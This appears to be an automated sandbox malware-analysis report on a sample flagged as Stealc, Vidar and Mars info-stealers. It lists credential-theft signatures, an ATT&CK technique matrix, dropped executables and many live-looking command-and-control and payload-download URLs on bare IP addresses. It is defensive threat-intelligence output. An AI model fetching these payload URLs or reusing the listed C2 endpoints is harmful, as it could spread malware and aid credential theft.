Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: EZrw1nNIpG.exe PID: 3792, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 13.2.3eb62d09c2.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EZrw1nNIpG.exe.810000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2385661873.0000000000811000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2514385520.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2389921177.0000000001614000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2515715104.0000000001CF5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EZrw1nNIpG.exe PID: 3792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3eb62d09c2.exe PID: 7356, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 13.2.3eb62d09c2.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EZrw1nNIpG.exe.810000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2385661873.0000000000811000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2514385520.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EZrw1nNIpG.exe PID: 3792, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	4 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	12 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	661 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
EZrw1nNIpG.exe	50%	ReversingLabs	Win32.Spyware.Stealc
EZrw1nNIpG.exe	54%	Virustotal		Browse
EZrw1nNIpG.exe	100%	Avira	TR/Crypt.ZPACK.Gen
EZrw1nNIpG.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\amadka[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\amadka[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://147.45.47.155/ku4Nor9/index.php17037dc9	100%	Avira URL Cloud	phishing
http://147.45.47.155/	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/mozglue.dll0~	100%	Avira URL Cloud	malware
http://77.91.77.81/mine/amadka.exe	100%	Avira URL Cloud	malware
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://77.91.77.81/cost/go.exe	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.phpsHy~	100%	Avira URL Cloud	malware
http://77.91.77.81/cost/go.exe	26%	Virustotal		Browse
http://147.45.47.155/	20%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exe	27%	Virustotal		Browse
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
http://85.28.47.4/	100%	Avira URL Cloud	malware
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/vcruntime140.dlls9	100%	Avira URL Cloud	malware
http://147.45.47.155/ku4Nor9/index.php	100%	Avira URL Cloud	phishing
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsusersIncIEEERootCA.cr	0%	Avira URL Cloud	safe
http://147.45.47.155/ku4Nor9/index.phpspace	100%	Avira URL Cloud	phishing
http://147.45.47.155/ku4Nor9/index.phpft	100%	Avira URL Cloud	phishing
http://85.28.47.4/	15%	Virustotal		Browse
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	Avira URL Cloud	safe
http://147.45.47.155/ku4Nor9/index.php	21%	Virustotal		Browse
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsusersIncIEEERootCA.cr	0%	Virustotal		Browse
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Virustotal		Browse
http://85.28.47.4/920475a59bac849d.php%	100%	Avira URL Cloud	malware
http://147.45.47.155/ku4Nor9/index.phpspace	4%	Virustotal		Browse
http://77.91.77.81/stealc/random.exeLL:	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/softokn3.dll	100%	Avira URL Cloud	malware
http://147.45.47.155/ku4Nor9/index.phpft	4%	Virustotal		Browse
http://77.91.77.81/stealc/random.exe50673b5d	100%	Avira URL Cloud	phishing
http://147.45.47.155/windows.storage.dllc	100%	Avira URL Cloud	phishing
http://85.28.47.4/920475a59bac849d.php5	100%	Avira URL Cloud	malware
http://147.45.47.155/ku4Nor9/index.php-3693405117-	100%	Avira URL Cloud	phishing
http://85.28.47.4/920475a59bac849d.php%	6%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/softokn3.dll	6%	Virustotal		Browse
http://147.45.47.155/ku4Nor9/index.phpl2	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/mozglue.dll	100%	Avira URL Cloud	malware
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/nss3.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	100%	Avira URL Cloud	malware
http://147.45.47.155/ku4Nor9/index.phprsion	100%	Avira URL Cloud	phishing
http://www.sqlite.org/copyright.html.	0%	Avira URL Cloud	safe
http://147.45.47.155/ku4Nor9/index.phpe	100%	Avira URL Cloud	phishing
http://85.28.47.4/920475a59bac849d.php5	11%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/mozglue.dll	7%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exe00	100%	Avira URL Cloud	phishing
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/freebl3.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	7%	Virustotal		Browse
http://www.sqlite.org/copyright.html.	0%	Virustotal		Browse
https://mozilla.org0/	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware
http://77.91.77.81/mine/amadka.exeK	100%	Avira URL Cloud	phishing
http://147.45.47.155/ku4Nor9/index.phpvJw	100%	Avira URL Cloud	phishing
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	100%	Avira URL Cloud	malware
http://147.45.47.155/ku4Nor9/index.phpE1	100%	Avira URL Cloud	phishing
http://77.91.77.81/cost/go.exe00	100%	Avira URL Cloud	phishing
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware
http://77.91.77.81/mine/amadka.exepera	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/nss3.dll	9%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/sqlite3.dllb	100%	Avira URL Cloud	malware
http://147.45.47.155/SysWOW64	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/vcruntime140.dlli8	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/mozglue.dll-~	100%	Avira URL Cloud	malware
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	Avira URL Cloud	safe
http://85.28.47.4	100%	Avira URL Cloud	malware
http://147.45.47.155/ku4Nor9/index.phpmL	100%	Avira URL Cloud	phishing
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/sqlite3.dllq	100%	Avira URL Cloud	malware
http://pki-ocsp.symauth.com0	0%	Avira URL Cloud	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.php%?	100%	Avira URL Cloud	malware
http://77.91.77.81/stealc/random.exeAL-	100%	Avira URL Cloud	phishing
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	Avira URL Cloud	safe
http://147.45.47.155/ku4Nor9/index.phpM	100%	Avira URL Cloud	phishing
http://147.45.47.155/ku4Nor9/index.php;R	100%	Avira URL Cloud	phishing
http://147.45.47.155/ku4Nor9/index.phpH	100%	Avira URL Cloud	phishing
http://77.91.77.81/cost/go.exeAppData	100%	Avira URL Cloud	phishing

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.81/mine/amadka.exe	true	27%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://147.45.47.155/ku4Nor9/index.php	true	21%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.4/69934896f997d5bb/softokn3.dll	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dll	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dll	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.php	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	true	Avira URL Cloud: malware	unknown
85.28.47.4/920475a59bac849d.php	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://85.28.47.4/69934896f997d5bb/mozglue.dll0~	EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000166B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://147.45.47.155/	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	true	20%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://147.45.47.155/ku4Nor9/index.php17037dc9	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/ac/?q=	EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe	EZrw1nNIpG.exe, 00000000.00000002.2385661873.00000000008B6000.00000040.00000001.01000000.00000003.sdmp	false	26%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.phpsHy~	3eb62d09c2.exe, 0000000D.00000002.2515715104.0000000001CF5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.4/	3eb62d09c2.exe, 0000000D.00000002.2515715104.0000000001D1C000.00000004.00000020.00020000.00000000.sdmp	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	EZrw1nNIpG.exe, random[1].exe.10.dr, 3eb62d09c2.exe.10.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dlls9	EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000164D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsusersIncIEEERootCA.cr	EZrw1nNIpG.exe, random[1].exe.10.dr, 3eb62d09c2.exe.10.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	false	URL Reputation: safe	unknown
http://147.45.47.155/ku4Nor9/index.phpft	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://147.45.47.155/ku4Nor9/index.phpspace	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000176F000.00000004.00000020.00020000.00000000.sdmp, ECGDHDHJEBGHJKFIECBG.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.php%	EZrw1nNIpG.exe, 00000000.00000002.2389921177.0000000001614000.00000004.00000020.00020000.00000000.sdmp	false	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://77.91.77.81/stealc/random.exeLL:	explortu.exe, 0000000A.00000002.3430361490.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/stealc/random.exe50673b5d	explortu.exe, 0000000A.00000002.3430361490.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://147.45.47.155/windows.storage.dllc	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://85.28.47.4/920475a59bac849d.php5	3eb62d09c2.exe, 0000000D.00000002.2515715104.0000000001CF5000.00000004.00000020.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	false	URL Reputation: safe	unknown
http://147.45.47.155/ku4Nor9/index.php-3693405117-	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://147.45.47.155/ku4Nor9/index.phpl2	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://147.45.47.155/ku4Nor9/index.phprsion	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.sqlite.org/copyright.html.	EZrw1nNIpG.exe, 00000000.00000002.2417623775.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2403659562.000000001CF1B000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://147.45.47.155/ku4Nor9/index.phpe	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/mine/amadka.exe00	EZrw1nNIpG.exe, 00000000.00000002.2385661873.00000000008B6000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.mozilla.com/en-US/blocklist/	EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://147.45.47.155/ku4Nor9/index.phpvJw	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exeK	EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000164D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000176F000.00000004.00000020.00020000.00000000.sdmp, ECGDHDHJEBGHJKFIECBG.0.dr	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	ECGDHDHJEBGHJKFIECBG.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exe	explortu.exe, 0000000A.00000002.3430361490.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://147.45.47.155/ku4Nor9/index.phpE1	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/cost/go.exe00	EZrw1nNIpG.exe, 00000000.00000002.2385661873.00000000008B6000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/mine/amadka.exepera	EZrw1nNIpG.exe, 00000000.00000002.2385661873.00000000008B6000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.ecosia.org/newtab/	EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/69934896f997d5bb/sqlite3.dllb	EZrw1nNIpG.exe, 00000000.00000002.2389921177.0000000001634000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KKJDGDHIDBGIECBGHJDBAAKJDH.0.dr	false	URL Reputation: safe	unknown
http://147.45.47.155/SysWOW64	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dlli8	EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000164D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000176F000.00000004.00000020.00020000.00000000.sdmp, ECGDHDHJEBGHJKFIECBG.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dll-~	EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000166B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.4	EZrw1nNIpG.exe, 00000000.00000002.2389921177.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2515715104.0000000001CDE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	false	URL Reputation: safe	unknown
http://147.45.47.155/ku4Nor9/index.phpE	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://147.45.47.155/ku4Nor9/index.phpmL	explortu.exe, 0000000A.00000002.3430361490.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	KKJDGDHIDBGIECBGHJDBAAKJDH.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/sqlite3.dllq	EZrw1nNIpG.exe, 00000000.00000002.2389921177.0000000001634000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000176F000.00000004.00000020.00020000.00000000.sdmp, ECGDHDHJEBGHJKFIECBG.0.dr	false	Avira URL Cloud: safe	unknown
http://pki-ocsp.symauth.com0	EZrw1nNIpG.exe, random[1].exe.10.dr, 3eb62d09c2.exe.10.dr	false	Avira URL Cloud: safe	unknown
